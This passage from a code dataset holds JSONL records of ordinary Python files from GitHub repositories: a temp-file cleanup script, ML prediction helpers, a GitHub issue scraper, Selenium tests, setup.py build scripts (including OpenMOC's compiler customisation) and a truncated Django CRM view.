return files\r\n\r\ndef get_subdirs_by_path(path):\r\n \"\"\"Get files by path\r\n\r\n :param path: Path to subdirs\r\n :type path: str\r\n :return: List of subdir names\r\n :rtype: list\r\n \"\"\"\r\n apath = os.path.abspath(path)\r\n rpath, subdirs, files = next(os.walk(apath))\r\n return subdirs\r\n\r\ndef is_older(file_path, comp_time):\r\n \"\"\"Check if file is older than compare time\r\n\r\n :param file_path: Path to file\r\n :type file_path: str\r\n :param comp_time: Datetime to compare with\r\n :type comp_time: datetime\r\n :return: True if file is older, otherwise False\r\n :rtype: bool\r\n \"\"\"\r\n f_ctime = os.path.getctime(file_path)\r\n return f_ctime < comp_time.timestamp()\r\n\r\ndef rm_files_in(path, days, dryun=False):\r\n \"\"\"Remove files in path, if they are older then days\r\n\r\n :param path: Path to files\r\n :type path: str\r\n :param days: Days in past\r\n :type days: int\r\n :return: Count of removed files\r\n :rtype: int\r\n \"\"\"\r\n cnt = 0\r\n rm_time = get_time_before(days)\r\n for file in get_files_by_path(path):\r\n f_path = os.path.join(path, file)\r\n if not os.path.isfile(f_path):\r\n continue\r\n if not is_older(f_path, rm_time):\r\n continue\r\n if not dryun:\r\n print('Removing file', f_path, '...')\r\n os.remove(f_path)\r\n else:\r\n print('Would remove', f_path)\r\n cnt += 1\r\n return cnt\r\n\r\ndef rm_folders_in(path, days, dryrun=False):\r\n \"\"\"Remove sub folders in path, if they are older then days\r\n\r\n :param path: Path to folders\r\n :type path: str\r\n :param days: Days in past\r\n :type days: int\r\n :return: Count of removed folders\r\n :rtype: int\r\n \"\"\"\r\n cnt = 0\r\n rm_time = get_time_before(days)\r\n for dir in get_subdirs_by_path(path):\r\n d_path = os.path.join(path, dir)\r\n if not os.path.isdir(d_path):\r\n continue\r\n if not is_older(d_path, rm_time):\r\n continue\r\n if not dryrun:\r\n print('Removing directory', d_path, '...')\r\n shutil.rmtree(d_path)\r\n else:\r\n print('Would remove', d_path)\r\n cnt += 1\r\n return cnt\r\n\r\ndef __main__():\r\n # defaults\r\n path = '/tmp/'\r\n rm_files = True\r\n rm_files_after = 30\r\n rm_folders = False\r\n rm_folders_after = 10\r\n dryrun = False\r\n\r\n # options from args\r\n args = sys.argv[1:]\r\n for arg in args:\r\n if arg == '--':\r\n continue\r\n if arg[0:2] == '--':\r\n # long opt\r\n opt = arg[2:].split('=')\r\n # print('long opt found:', opt[0], '::', opt[1])\r\n if len(opt) > 1:\r\n # with value\r\n if opt[0] =='files':\r\n rm_files = True if opt[1].lower() == 'yes' else False\r\n elif opt[0] == 'files_after':\r\n rm_files_after = int(opt[1])\r\n elif opt[0] == 'folders':\r\n rm_folders = True if opt[1].lower() == 'yes' else False\r\n elif opt[0] == 'folders_after':\r\n rm_folders_after = int(opt[1])\r\n elif opt[0] == 'dryrun':\r\n dryrun = True if opt[1].lower() == 'yes' else False\r\n else:\r\n # without value\r\n if opt[0] == 'files':\r\n rm_files = True\r\n elif opt[0] == 'folders':\r\n rm_folders = True\r\n elif opt[0] == 'dryrun':\r\n dryrun = True\r\n if arg[0:1] == '-':\r\n # short opt - unsupported\r\n continue\r\n else:\r\n # argument\r\n path = arg\r\n\r\n print('Starting cleanup')\r\n print('Cleanup for base', path)\r\n if not os.path.isdir(path):\r\n raise NotADirectoryError('\"' + path + '\" is not a directory')\r\n if rm_files:\r\n print('Cleaning files...')\r\n fi_cnt = rm_files_in(path, rm_files_after, dryrun)\r\n print('Removed', fi_cnt, 'files')\r\n else:\r\n print('Skipping file cleanup')\r\n if rm_folders:\r\n print('Cleaning folders...')\r\n fo_cnt = rm_folders_in(path, rm_folders_after, dryrun)\r\n print('Removed', fo_cnt, 'folders')\r\n else:\r\n print('Skipping folder cleanup')\r\n print('Finished cleanup')\r\n\r\n__main__()\r\n","repo_name":"LupusCoding/pyTools","sub_path":"cleanup.py","file_name":"cleanup.py","file_ext":"py","file_size_in_byte":6313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1598227819","text":"import numpy as np\nimport os\nimport sys\nfrom keras.models import load_model\n\n#from data_loaders.SpectrogramGenerator import SpectrogramGenerator\nfrom kerasa.data_loaders.SpectrogramGenerator import SpectrogramGenerator\n\nclass_labels = [\"ENGLISH\", \"GERMAN\", \"FRENCH\", \"Espanol\", \"Chinese\", \"RUSSIAN\"]\n\n\n\ndef predict():\n inputfile = \"inputSound.wav\"\n config = {\"pixel_per_second\": 50, \"input_shape\": [129, 500, 1], \"num_classes\": 4}\n data_generator = SpectrogramGenerator(inputfile, config, shuffle=False, run_only_once=True).get_generator()\n data = [np.divide(image, 255.0) for image in data_generator]\n data = np.stack(data)\n\n # Model Generation\n model = load_model(\"2017-01-31-14-29-14.CRNN_EN_DE_FR_ES_CN_RU.model\")\n\n probabilities = model.predict(data)\n\n classes = np.argmax(probabilities, axis=1)\n average_prob = np.mean(probabilities, axis=0)\n average_class = np.argmax(average_prob)\n\n #print(classes, class_labels[average_class], average_prob)\n return class_labels[average_class]\n\n#if __name__ == \"__main__\":\n\n#predict()","repo_name":"dharmateja522/DS-Portfolio","sub_path":"languageIdentification/kerasa/predict2.py","file_name":"predict2.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"39999922758","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\n\n\n# Function to scrape comments from a given issue URL\ndef scrape_comments(issue_url):\n comments_data = []\n response = requests.get(issue_url)\n soup = BeautifulSoup(response.text, \"html.parser\")\n comments = soup.find_all(\"div\", class_=\"timeline-comment-wrapper timeline-new-comment\")\n\n for comment in comments:\n commenter_name = comment.find(\"span\", class_=\"author\").text.strip()\n comment_text = comment.find(\"div\", class_=\"edit-comment-hide\").text.strip()\n comments_data.append({\"commenter_name\": commenter_name, \"comment_text\": comment_text})\n\n return comments_data\n\n\n# Function to scrape issues from a given URL\ndef scrape_github_issues(url, sl):\n issues_data = []\n while url:\n response = requests.get(url)\n soup = BeautifulSoup(response.text, \"html.parser\")\n issues = soup.find_all(\"div\", class_=\"js-navigation-container js-active-navigation-container\")[0]\n\n for index, issue in enumerate(issues.find_all(\"div\", class_=\"js-navigation-item\")):\n issue_details = {\"index\": sl}\n sl += 1\n\n print(f\"Working on {sl}th issue\")\n\n issue_details[\"date\"] = issue.find(\"relative-time\").text.strip()\n issue_details[\"title\"] = issue.find(\"a\").text.strip()\n issue_details[\"url\"] = \"https://github.com\" + issue.find(\"a\")[\"href\"].strip()\n\n # Extract poster's name\n poster_name = issue.find(\"span\", class_=\"opened-by\").text.strip()\n issue_details[\"poster_name\"] = poster_name\n\n # Fetch detailed issue description\n issue_response = requests.get(issue_details[\"url\"])\n issue_soup = BeautifulSoup(issue_response.text, \"html.parser\")\n issue_details[\"description\"] = issue_soup.find(\"div\", class_=\"edit-comment-hide\").text.strip()\n\n # Scrape comments for this issue\n issue_details[\"comments\"] = scrape_comments(issue_details[\"url\"])\n\n issues_data.append(issue_details)\n\n # Check if there is a next page of issues\n next_page = soup.find(\"a\", class_=\"next_page\")\n if next_page:\n url = \"https://github.com\" + next_page[\"href\"]\n else:\n url = None\n\n return issues_data\n\n\ndef createDataset(repo_link):\n # URLs of the GitHub issues pages for open and closed issues\n open_issues_url = repo_link + \"/issues?q=is%3Aissue+is%3Aopen\"\n # closed_issues_url = repo_link + \"/issues?q=is%3Aissue+is%3Aclosed\"\n sl_number = 0\n # Scrape open issues and comments\n open_issues_data = scrape_github_issues(open_issues_url, sl_number)\n # Scrape closed issues and comments\n # closed_issues_data = scrape_github_issues(closed_issues_url, len(open_issues_data))\n # Combine open and closed issues data\n # all_issues_data = open_issues_data + closed_issues_data\n all_issues_data = open_issues_data\n # Store data in JSON format\n return all_issues_data\n\n\n# createDataset()\n","repo_name":"mh-sun/cps-bug-analysis","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33433439010","text":"from selenium.webdriver.common.by import By\n#from Pages.Homepage import Homepage\n#from Testcases.TestHomepage import Test_001_homepage\nfrom Pagess.Moisturizers import Moistuizerspage\nclass Test_002_Testmoistuizerspage:\n\n def test_moistuizerspage(self,setup):\n #self.hp = Homepage(self.driver)\n #self.testhp = Test_001_homepage(self.driver)\n self.driver=setup\n self.mp = Moistuizerspage(self.driver)\n self.text1,self.text2=self.mp.gettextMoistuizerproduct1()\n #self.text1 = self.testhp.a\n print(self.text1)\n print(self.text2)\n self.mp.Addproduct1()\n self.price,self.product=self.mp.Addcart1()\n print(\"#\")\n print(self.product)\n print(self.price)\n if(self.text1==self.product):\n assert True\n\n self.mp.paywithcard()\n\n else:\n assert False\n","repo_name":"SiddharthHashers/PYTHON_SELENIUM_MINI-II","sub_path":"TestPage/Test_Moisturizers.py","file_name":"Test_Moisturizers.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13207961226","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(name=\"python-espncricinfo\",\n version=\"0.6.1\",\n description=\"ESPNCricInfo API client\",\n license=\"MIT\",\n install_requires=[\"requests\", \"bs4\", \"dateparser\", \"lxml\"],\n author=\"Derek Willis\",\n author_email=\"dwillis@gmail.com\",\n url=\"http://github.com/dwillis/python-espncricinfo\",\n packages = find_packages(),\n keywords= \"espncricinfo cricket t20 odi\",\n classifiers=['Development Status :: 4 - Beta'],\n zip_safe = True)\n","repo_name":"outside-edge/python-espncricinfo","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"78"} +{"seq_id":"11655056439","text":"from typing import Dict\n\nfrom res_mgmt.envs.generator import get_generator\n\n_EMPTY_CELL: int = -1\n\nConfig = Dict[str, int]\n\n_DEFAULT_CONFIG: Config = {\n \"num_resource_type\": 2, # d resource types\n \"num_job_slot\": 3, # first M jobs\n \"time_size\": 5, # column\n \"resource_size\": 3, # row\n \"max_num_job\": 10**3,\n \"new_job_rate\": 0.7,\n \"meta\": {},\n \"generator\": get_generator(2, 20, 20),\n}\n","repo_name":"Merle-Zhang/resource-management-env","sub_path":"res_mgmt/envs/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"35043105554","text":"import numpy as np\nimport keras\nimport tensorflow as tf\nfrom keras import backend as K\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.models import model_from_json\n\nK.clear_session()\n\n\ndef prediction(input_value):\n \n input_list=[]\n input_list.append(input_value['Year'])\n input_list.append(input_value['Month'])\n input_list.append(89) #rainfall value\n print(input_list)\n if(input_value['District']==\"Amravati\"):\n input_list.append(1)\n input_list.append(0)\n elif(input_value['District']==\"Ratnagiri\"):\n input_list.append(0)\n input_list.append(1)\n else:\n input_list.append(0)\n input_list.append(0)\n print(input_list)\n \n input_list = np.array(input_list)\n input_list = input_list.reshape( (1,5) )\n input_list = np.matrix(input_list)\n\n json_file = open('C:/Users/ritik/Mini Project/model.json', 'r')\n loaded_model_json = json_file.read()\n json_file.close()\n\n global graph\n graph=tf.compat.v1.get_default_graph()\n with graph.as_default():\n loaded_model = model_from_json(loaded_model_json)\n loaded_model.load_weights(\"C:/Users/ritik/Mini Project/model1.h5\")\n\n loaded_model.compile(loss='mean_absolute_error', optimizer='adam', metrics=['mean_absolute_error'])\n\n values=loaded_model.predict(input_list)\n del input_list\n keras.backend.clear_session()\n return values\n","repo_name":"ritikbobade/Crop_price_predictions","sub_path":"cropmodel.py","file_name":"cropmodel.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"6351783378","text":"from typing import Any, cast\n\nfrom mongoengine import Document, connect\nfrom mongoengine.fields import BooleanField, IntField, StringField\n\n\nclass TranscodeItem(Document):\n objects: Any\n\n path = StringField(required=True)\n\n copy_all_streams = BooleanField(required=False)\n languages = StringField(required=False)\n\n video_codec = StringField(required=False)\n video_bitrate = IntField(required=False)\n audio_codec = StringField(required=False)\n audio_channels = IntField(required=False)\n audio_bitrate = StringField(required=False)\n\n content_id = IntField(required=False)\n\n\nclass TranscodeQueue:\n def __init__(self) -> None:\n connect(\"wi1_bot\", connect=False)\n\n def add(\n self,\n path: str,\n copy_all_streams: bool | None = None,\n languages: str | None = None,\n video_codec: str | None = None,\n video_bitrate: int | None = None,\n audio_codec: str | None = None,\n audio_channels: int | None = None,\n audio_bitrate: str | None = None,\n content_id: int | None = None,\n ) -> None:\n TranscodeItem(\n path=path,\n copy_all_streams=copy_all_streams,\n languages=languages,\n video_codec=video_codec,\n video_bitrate=video_bitrate,\n audio_codec=audio_codec,\n audio_channels=audio_channels,\n audio_bitrate=audio_bitrate,\n content_id=content_id,\n ).save()\n\n def get_one(self) -> TranscodeItem | None:\n return cast(TranscodeItem | None, TranscodeItem.objects.first())\n\n def remove(self, item: TranscodeItem) -> None:\n item.delete()\n\n def clear(self) -> None:\n TranscodeItem.objects.delete()\n\n @property\n def size(self) -> int:\n return cast(int, TranscodeItem.objects.count())\n\n\nqueue = TranscodeQueue()\n","repo_name":"wthueb/wi1-bot","sub_path":"wi1_bot/transcoder/transcode_queue.py","file_name":"transcode_queue.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"20360730338","text":"from distutils.core import setup\nfrom distutils.command.build_ext import build_ext\nfrom distutils.command.install import install\nfrom distutils.errors import DistutilsOptionError\nimport os\nimport config\n\n\n# Instantiate a configurations class for this OpenMOC build\nconfig = config.configuration()\n\n\nclass custom_install(install):\n \"\"\"Defines the compile time options for OpenMOC.\n\n This class derives from the distutils.command.install class. Distutils\n provides a set of flags which may be invoked by the user at compile\n time. The custom_install class adds to that list a series of options\n which are useful in compiling a specific distribution of OpenMOC.\n\n To view a list of available compile time options, simply type the following\n from a console:\n\n python setup.py install --help\n\n The custom_install class extracts user-defined options from the command\n line and uses them to populate the config.configurations class. The\n configurations class then uses these options to generate a list of\n Python C/C++/CUDA extension objects which are delivered to the distutils\n setup method at the end of this script.\n\n Developers wishing to extend OpenMOC's functionality with new compilation\n options will need to extend this class and the configurations class.\n \"\"\"\n\n # The user options for a customized OpenMOC build\n user_options = [\n ('cc=', None, \"Compiler (gcc, icpc, or bgxlc) for main openmoc module\"),\n ('fp=', None, \"Floating point precision (single or double) for \" + \\\n \"main openmoc module\"),\n ('with-cuda', None, \"Build openmoc.cuda module for NVIDIA GPUs\"),\n ('with-gcc', None, \"Build openmoc.gnu modules using GNU compiler\"),\n ('with-icpc', None, \"Build openmoc.intel modules using Intel compiler\"),\n ('with-bgxlc', None, \"Build openmoc.bgxlc modules using IBM compiler\"),\n ('with-sp', None, \"Build modules with single precision\"),\n ('with-dp', None, \"Build modules with double precision\"),\n ('debug-mode', None, \"Build with debugging symbols\"),\n ('with-ccache', None, \"Build with ccache for rapid recompilation\"),\n ('with-papi', None, 'Build modules with PAPI instrumentation'),\n ('no-numpy', None, 'Build modules without NumPy C API')\n ]\n\n # Include all of the default options provided by distutils for the\n # install command parent class\n user_options += install.user_options\n\n # Set some compile options to be boolean switches\n boolean_options = ['with-sp',\n 'with-dp',\n 'with_cuda',\n 'with-gcc',\n 'with-icpc',\n 'with-bgxlc',\n 'debug-mode',\n 'with-ccache',\n 'with-papi',\n 'no-numpy']\n\n # Include all of the boolean options provided by distutils for the\n # install command parent class\n boolean_options += install.boolean_options\n\n\n def initialize_options(self):\n \"\"\"Set the default OpenMOC build options\n\n The default installation is invoked by following console command:\n\n python setup.py install\n\n This will build the main openmoc C/C++ Python extension using the\n GCC compiler with single precision. No additional modules will be\n build with Intel or IBM compilers, or with double precision.\n \"\"\"\n\n # Run the install command parent class' initialize_options method\n install.initialize_options(self)\n\n # Default compiler and precision level for the main openmoc module\n self.cc = 'gcc'\n self.fp = 'single'\n\n # By default, do not build openmoc.gnu.single, openmoc.intel.double, etc\n # extension modules\n self.with_gcc = False\n self.with_icpc = False\n self.with_bgxlc = False\n self.with_cuda = False\n self.with_sp = False\n self.with_dp = False\n\n # Set defaults for each of the newly defined compile time options\n self.debug_mode = False\n self.with_ccache = False\n self.with_papi = False\n self.no_numpy = False\n\n\n def finalize_options(self):\n \"\"\"Extract options from the flags invoked by the user at compile time.\n\n This method performs error checking of the options specified by\n the user at compile time, and initialize the config.configurations\n class instance. The method conclude with a call to the\n configurations.setup_extension_modules class method which builds\n a list of C/C++/CUDA extension modules to be passed to the distutils\n setup method at the end of this script.\n \"\"\"\n\n # Run the install command parent class' finalize_options method\n install.finalize_options(self)\n\n # Set the configuration options specified to be the default\n # unless the corresponding flag was invoked by the user\n config.with_cuda = self.with_cuda\n config.debug_mode = self.debug_mode\n config.with_ccache = self.with_ccache\n config.with_papi = self.with_papi\n config.with_numpy = not self.no_numpy\n\n # Check that the user specified a supported C++ compiler\n if self.cc not in ['gcc', 'icpc', 'bgxlc']:\n raise DistutilsOptionError \\\n ('Must supply the -cc flag with one of the supported ' +\n 'C++ compilers: gcc, icpc, bgxlc')\n else:\n config.cc = self.cc\n\n # Check that the user specified a supported floating point precision\n if self.fp not in ['single', 'double']:\n raise DistutilsOptionError \\\n ('Must supply the -cc flag with one of the supported ' +\n 'floating point precision levels: single, double')\n else:\n config.fp = self.fp\n\n # Build the openmoc.gnu.single and/or openmoc.gnu.double\n # extension module(s)\n if self.with_gcc:\n config.cpp_compilers += ['gcc']\n\n # If a precision level was not specified, use the default\n if not any([self.with_sp, self.with_dp]):\n config.fp_precision += [self.fp]\n\n\n # Build the openmoc.intel.single and/or openmoc.intel.double\n # extension module(s)\n if self.with_icpc:\n\n config.cpp_compilers += ['icpc']\n\n # If a precision level was not specified, use the default\n if not any([self.with_sp, self.with_dp]):\n config.fp_precision += [self.fp]\n\n\n # Build the openmoc.bgxlc.single and/or openmoc.bgxlc.double\n # extension module(s)\n if self.with_bgxlc:\n config.cpp_compilers += ['bgxlc']\n\n # If a precision level was not specified, use the default\n if not any([self.with_sp, self.with_dp]):\n config.fp_precision += [self.fp]\n\n # If the user requested to build extra modules (ie, openmoc.gnu.single)\n # using single precision floating point\n if self.with_sp:\n\n # If no compiler was specified, thrown an error\n if not any([self.with_gcc, self.with_icpc, not self.with_bgxlc]):\n raise DistutilsOptionError \\\n ('Must supply either with-gcc/with-icpc/with-bgxlc for ' +\n 'the with-sp option')\n\n # Otherwise add the single precision option\n else:\n config.fp_precision += ['single']\n\n\n # If the user requested to build extra modules (ie, openmoc.gnu.single)\n # using single precision floating point\n if self.with_dp:\n\n # If no compiler was specified, thrown an error\n if not any([self.with_gcc, self.with_icpc, not self.with_bgxlc]):\n raise DistutilsOptionError \\\n ('Must supply either with-gcc/with-icpc/with-bgxlc for ' +\n 'the with-dp option')\n\n # Otherwise add the double precision option\n else:\n config.fp_precision += ['double']\n\n # Build a list of the C/C++/CUDA extension modules to be built\n # for this distribution\n config.setup_extension_modules()\n\n\n\ndef customize_compiler(self):\n \"\"\"Inject redefined _compile method into distutils\n\n This method enables us to choose compilers based on the macros defined\n in the compiler flags (ie, '-DGNU', '-DCUDA', etc), or on the\n source extension (ie, *.cpp, *.cu, etc.).\n\n Adapted from Robert McGibbon's CUDA distutils setup provided in open source\n form here: https://github.com/rmcgibbo/npcuda-example\n \"\"\"\n\n # Inform the compiler it can processes .cu CUDA source files\n self.src_extensions.append('.cu')\n\n # Save reference to the default _compile method\n super_compile = self._compile\n\n # Redefine the _compile method. This gets executed for each\n # object but distutils doesn't have the ability to change compilers\n # based on source extension, so we add that functionality here\n def _compile(obj, src, ext, cc_args, extra_postargs, pp_opts):\n\n # If GNU is a defined macro and the source is C++, use gcc\n if '-DGNU' in pp_opts and os.path.splitext(src)[1] == '.cpp':\n if config.with_ccache:\n self.set_executable('compiler_so', 'ccache gcc')\n else:\n self.set_executable('compiler_so', 'gcc')\n\n postargs = config.compiler_flags['gcc']\n\n\n # If INTEL is a defined macro and the source is C++, use icpc\n elif '-DINTEL' in pp_opts and os.path.splitext(src)[1] == '.cpp':\n if config.with_ccache:\n self.set_executable('compiler_so', 'ccache icpc')\n else:\n self.set_executable('compiler_so', 'icpc')\n\n postargs = config.compiler_flags['icpc']\n\n # If BGXLC is a defined macro and the source is C++, use bgxlc\n elif '-DBGXLC' in pp_opts and os.path.splitext(src)[1] == '.cpp':\n if config.with_ccache:\n self.set_executable('compiler_so', 'bgxlc++_r')\n else:\n self.set_executable('compiler_so', 'bgxlc++_r')\n\n postargs = config.compiler_flags['bgxlc']\n\n\n # If CUDA is a defined macro and the source is C++, compile\n # SWIG-wrapped CUDA code with gcc\n elif '-DCUDA' in pp_opts and os.path.splitext(src)[1] == '.cpp':\n if config.with_ccache:\n self.set_executable('compiler_so', 'ccache gcc')\n else:\n self.set_executable('compiler_so', 'gcc')\n\n postargs = config.compiler_flags['gcc']\n\n\n # If CUDA is a defined macro and the source is CUDA, use nvcc\n elif '-DCUDA' in pp_opts and os.path.splitext(src)[1] == '.cu':\n if config.with_ccache:\n self.set_executable('compiler_so', 'ccache nvcc')\n else:\n self.set_executable('compiler_so', 'nvcc')\n\n postargs = config.compiler_flags['nvcc']\n\n\n # If we cannot determine how to compile this file, throw exception\n else:\n raise EnvironmentError('Unable to compile ' + str(src))\n\n # Now call distutils-defined _compile method\n super_compile(obj, src, ext, cc_args, postargs, pp_opts)\n\n # Inject our redefined _compile method into the class\n self._compile = _compile\n\n\ndef customize_linker(self):\n \"\"\"Inject redefined link method into distutils\n\n This method enables us to choose the linker based on the name\n of the output shared library filename (ie, _openmoc_intel_single.so)\n\n Adapted from Robert McGibbon's CUDA distutils setup provided in open source\n form here: https://github.com/rmcgibbo/npcuda-example\n \"\"\"\n\n # Save references to the default link method\n super_link = self.link\n\n # Redefine the link method. This gets executed to link each extension\n # module. We add the functionality to choose the compiler for linking\n # based on the name of the extension module\n def link(target_desc, objects, output_filename,\n output_dir=None, libraries=None,\n library_dirs=None, runtime_library_dirs=None,\n export_symbols=None, debug=0, extra_preargs=None,\n extra_postargs=None, build_temp=None, target_lang=None):\n\n # If compiling different extensions of openmoc using different compilers\n # and/or floating point precision levels, we must remove autogenerated\n # files from distutils for each subsequent extension. If the user is\n # compiling multiple modules at once (ie, openmoc.gnu.single and\n # openmoc.intel.single) we have to ensure that only one of the objects\n # openmoc_gnu_single.o or openmoc_intel_single.o is specified at the\n # link stage. Unfortunately, distutils enumerates all object files\n # compiled up to this point at the final linker stage which leads to\n # 'previously defined...' errors\n for obj in objects[:]:\n\n if 'openmoc' in obj:\n\n if 'intel' in output_filename and 'intel' not in obj:\n objects = [o for o in objects if o is not obj]\n elif 'intel' not in output_filename and 'intel' in obj:\n objects = [o for o in objects if o is not obj]\n\n if 'gnu' in output_filename and 'gnu' not in obj:\n objects = [o for o in objects if o is not obj]\n elif 'gnu' not in output_filename and 'gnu' in obj:\n objects = [o for o in objects if o is not obj]\n if 'bgxlc' in output_filename and 'bgxlc' not in obj:\n objects = [o for o in objects if o is not obj]\n elif 'bgxlc' not in output_filename and 'bgxlc' in obj:\n objects = [o for o in objects if o is not obj]\n\n if 'single' in output_filename and 'single' not in obj:\n objects = [o for o in objects if o is not obj]\n elif 'single' not in output_filename and 'single' in obj:\n objects = [o for o in objects if o is not obj]\n\n if 'double' in output_filename and 'double' not in obj:\n objects = [o for o in objects if o is not obj]\n elif 'double' not in output_filename and 'double' in obj:\n objects = [o for o in objects if o is not obj]\n\n # If the linker receives -fopenmp as an option, then the objects\n # are built by a GNU compiler\n if '-fopenmp' in extra_postargs:\n self.set_executable('linker_so', 'g++')\n self.set_executable('linker_exe', 'g++')\n\n # If the linker receives -openmp as an option, then the objects\n # are built by a GNU compiler\n if '-openmp' in extra_postargs:\n self.set_executable('linker_so', 'icpc')\n self.set_executable('linker_exe', 'icpc')\n\n # If the linker receives -qmkshrobj as an option, then the objects\n # are build by an IBM compiler\n if '-qmkshrobj' in extra_postargs:\n self.set_executable('linker_so', 'bgxlc++_r')\n self.set_executable('linker_exe', 'bgxlc++_r')\n\n # If the filename for the extension contains cuda, use g++ to link\n if 'cuda' in output_filename:\n self.set_executable('linker_so', 'g++')\n self.set_executable('linker_exe', 'g++')\n\n # Now call distutils-defined link method\n super_link(target_desc, objects,\n output_filename, output_dir, libraries,\n library_dirs, runtime_library_dirs,\n export_symbols, debug, extra_preargs,\n extra_postargs, build_temp)\n\n # Inject our redefined link method into the class\n self.link = link\n\n\n# Run the customize_compiler to inject redefined and customized _compile and\n# link methods into distutils\nclass custom_build_ext(build_ext):\n \"\"\"Customizes distutils to work with different compiler types\n\n This class derives from the distutils.command.build_ext command class.\n It extends build_ex by creates customized compile and link methods\n which can accommodate different compiler types and options.\n \"\"\"\n\n def build_extensions(self):\n customize_compiler(self.compiler)\n customize_linker(self.compiler)\n\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/openmoc_wrap.cpp openmoc/openmoc.i')\n\n if 'gcc' in config.cpp_compilers and 'single' in config.fp_precision:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/gnu/single/openmoc_gnu_single_wrap.cpp ' + \\\n 'openmoc/gnu/single/openmoc_gnu_single.i')\n\n if 'gcc' in config.cpp_compilers and 'double' in config.fp_precision:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/gnu/double/openmoc_gnu_double_wrap.cpp ' + \\\n 'openmoc/gnu/double/openmoc_gnu_double.i')\n\n if 'icpc' in config.cpp_compilers and 'single' in config.fp_precision:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/intel/single/openmoc_intel_single_wrap.cpp ' + \\\n 'openmoc/intel/single/openmoc_intel_single.i')\n\n if 'icpc' in config.cpp_compilers and 'double' in config.fp_precision:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/intel/double/openmoc_intel_double_wrap.cpp ' + \\\n 'openmoc/intel/double/openmoc_intel_double.i')\n\n if 'bgxlc' in config.cpp_compilers and 'single' in config.fp_precision:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/bgq/single/openmoc_bgq_single_wrap.cpp ' + \\\n 'openmoc/bgq/single/openmoc_bgq_single.i')\n\n if 'bgxlc' in config.cpp_compilers and 'double' in config.fp_precision:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/bgq/double/openmoc_bgq_double_wrap.cpp ' + \\\n 'openmoc/bgq/double/openmoc_bgq_double.i')\n\n if 'nvcc' in config.cpp_compilers:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/cuda/openmoc_cuda_wrap.cpp ' + \\\n 'openmoc/cuda/openmoc_cuda.i')\n\n if 'nvcc' in config.cpp_compilers and 'single' in config.fp_precision:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/cuda/single/openmoc_cuda_single_wrap.cpp ' + \\\n 'openmoc/cuda/single/openmoc_cuda_single.i')\n\n if 'nvcc' in config.cpp_compilers and 'double' in config.fp_precision:\n os.system('swig -python -c++ -keyword -o ' + \\\n 'openmoc/cuda/double/openmoc_cuda_double_wrap.cpp ' + \\\n 'openmoc/cuda/double/openmoc_cuda_double.i')\n\n build_ext.build_extensions(self)\n\n\n# Run the distutils setup method for the complete build\nsetup(name = 'openmoc',\n version = '0.1',\n description = 'An open source method of characteristics code for ' + \\\n 'solving the 2D neutron distribution in nuclear reactors',\n author = 'Will Boyd',\n author_email = 'wboyd@mit.edu',\n url = 'https://github.com/mit-crpg/OpenMOC',\n\n # Set the C/C++/CUDA extension modules built in setup_extension_modules()\n # in config.py based on the user-defined flags at compile time\n ext_modules = config.extensions,\n\n # Extract all of the Python packages for OpenMOC\n # (ie, openmoc.log, openmoc.materialize, etc)\n packages = config.packages,\n\n # Inject our custom compiler and linker triggers\n cmdclass={ 'build_ext': custom_build_ext,\n 'install': custom_install}\n)\n","repo_name":"samuelshaner/OpenMOC-shaner","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":18410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"6211263162","text":"from django.shortcuts import render,HttpResponse,get_object_or_404,redirect\nfrom crm import models\nfrom django.db import IntegrityError\nfrom crm.backend.random_str import random_str\nimport os\nfrom PerfectCRM import settings\n\nfrom django.core.cache import cache\n\n# Create your views here.\n\nfrom crm import froms\n\ndef indexaa(request):\n\n return render(request,\"index.html\")\n\ndef customer_list(request):\n return render(request,\"sales/customers.html\")\n\n\n#生成报名链接,提示将报名链接发送给学生\n\ndef enrollment_tackle(request,costomer_id):\n customer_obj = models.Customer.objects.get(id=costomer_id)\n msg={}\n if request.method==\"GET\":\n enroll_from_obj = froms.EnrollmentForm()\n return render(request,'sales/enroll.html',{'form_obj':enroll_from_obj,'customer_obj':customer_obj})\n\n elif request.method==\"POST\":\n enroll_from_obj = froms.EnrollmentForm(request.POST)\n if enroll_from_obj.is_valid():\n try: #在该表中有联合唯一的限制unique_together = (\"customer\",\"enrolled_class\"),所以要抓去错误\n enroll_from_obj.cleaned_data['customer']=customer_obj\n #这里是因为models中含有三个字段为必须要填写的,而在Enrollform中并没有customer这个字段和前端对应,后端并不会接受该字段,所以需要在cleaned_data中添加相应的数据\n enroll_success_ret=models.Enrollment.objects.create(**enroll_from_obj.cleaned_data)\n if enroll_success_ret: 